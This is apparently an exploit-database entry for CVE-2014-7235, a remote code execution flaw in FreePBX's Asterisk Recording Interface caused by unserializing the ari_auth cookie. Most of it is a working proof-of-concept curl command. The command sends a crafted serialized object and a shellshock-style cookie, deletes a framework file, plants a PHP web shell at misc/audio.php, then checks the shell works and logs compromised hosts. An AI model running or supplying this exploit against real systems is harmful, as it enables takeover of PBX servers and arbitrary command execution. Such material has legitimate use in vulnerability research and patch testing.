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Exploit Title: Freepbx coockie recordings injection Google Dork: Ask Santa Date: 23/12/2016 Exploit Author: inj3ctor3 Vendor Homepage: https://www.freepbx.org/ Software Link: ISO LINKS IN SITE https://www.freepbx.org/ Version: ALL && unpatched/ (Trixbox/freepbx/elastix/pbxinflash/) Tested on: Centos 6 CVE : CVE-2014-7235 1. Description a critical Zero-Day Remote Code Execution and Privilege Escalation exploit within the legacy “FreePBX ARI Framework module/Asterisk Recording Interface (ARI)”. htdocs_ari/includes/login.php in the ARI Framework module/Asterisk Recording Interface (ARI) in FreePBX before 2.9.0.9, 2.10.x, and 2.11 before 2.11.1.5 allows remote attackers to execute arbitrary code via the ari_auth coockie, related to the PHP unserialize function <?php ..... ... line 56 $buf = unserialize(stripslashes($_COOKIE['ari_auth'])); line 57 list($data,$chksum) = $buf; .... ?> A successful attack may compromise the whole system aiding the hacker to gain further privileges via taking advantage of famous nmap shell without further or do this is a poc code curl -ks -m20 http://127.0.0.1/recordings/index.php" --cookie "ari_lang=() { :;};php -r 'set_time_limit(0);unlink("page.framework.php");file_put_contents("misc/audio.php", "<?php if(\$_COOKIE[\"lang\"]) {system(\$_COOKIE[\"lang\"]);}die();?>");';ari_auth=O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}};elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0" --data "username=admin&password=admin&submit=btnSubmit" >/dev/null if curl -ks -m10 "http://127.0.0.1/recordings/misc/audio.php" --cookie "lang=id" | grep asterisk >/dev/null;then echo "127.0.0.1/recordings/misc/audio.php" | tee -a xploited_new.txt;fi |
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